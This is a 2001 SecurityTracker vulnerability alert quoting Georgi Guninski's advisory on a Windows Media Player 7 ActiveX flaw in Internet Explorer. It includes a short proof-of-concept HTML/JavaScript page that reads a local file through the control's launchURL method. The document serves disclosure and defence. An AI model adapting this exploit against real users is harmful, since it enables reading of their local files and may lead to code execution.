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Category:   Application (Generic)  >   Windows Media Player Vendors:   Microsoft
Windows Media Player May Run Arbitrary Programs On Your Computer
SecurityTracker Alert ID:  1000534
SecurityTracker URL:  http://securitytracker.com/id/1000534
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Updated:  Jan 4 2001
Original Entry Date:  Jan 4 2001
Impact:   Disclosure of user information, Execution of arbitrary code via network

Version(s): Windows Media Player 7
Description:   A security vulnerability has been reported in Microsoft Windows Media Player 7 that may be exploited via Microsoft Internet Explorer. The hole reportedy permits malicious HTML code to allow local files to be remotely accessed and possibly executed.

The vulnerability is due to a Windows Media Player ActiveX Control that permits the launching of javascript code in frames that have already been opened. This reportedly allows the execution of arbitary programs on the host.

Demonstration exploit code is available at:
http://www.guninski.com/wmp7ie.html

According to the report, the vendor was contacted on 26 December 2000.

More information is available in Georgi Guninski security advisory #31, 2001.

Impact:   When a user accesses malicious HTML code via Internet Explorer, the malicious code could take advantage of the Windows Media Player 7 vulnerability and cause arbitrary code to be executed on the user's host.
Solution:   As a short term solution, scripting can be disabled. No other solution was available at the time of this entry.
Vendor URL:  www.microsoft.com/technet/security/current.asp (Links to External Site)
Cause:   Access control error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Windows Media Player 7 and IE vulnerability - executing arbitrary


Georgi Guninski security advisory #31, 2001

Windows Media Player 7 and IE vulnerability - executing arbitrary programs

Systems affected:
Windows Media Player 7 and IE

Risk: High
Date: 1 January 2001

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski, bears no responsibility for content or misuse of this advisory or program or
any derivatives thereof.

Description:

There is a security vulnerability in Windows Media Player 7 exploitable thru IE
which allows reading local files which in turn allows executing arbitratrary programs.
This may lead to taking full control over user's computer.

Details:
The problem is the WMP ActiveX Control which allows launching javascript URLs in arbitrary
already open frames. This allows taking over the frames's DOM. Examine the code for more
info.

The code is:
--------wmp7ie.html------------------------------------------------
<object id="o1" classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6">
<PARAM NAME="defaultFrame" value="georgi">
</object>
<SCRIPT>
alert("This page reads C:\\test.txt");
window.open("file://c:/test.txt","georgi");
function f()
{
document.o1.object.launchURL("javascript:alert(document.body.innerText)");
}
setTimeout("f()",1000);
</SCRIPT>
---------------------------------------------------------------------

Workaround:
Disable Active Scripting.

Demonstration is available at:
http://www.guninski.com/wmp7ie.html

Vendor status:
Microsoft was contacted on 26 December 2000.

Regards,
Georgi Guninski
http://www.guninski.com

 
 


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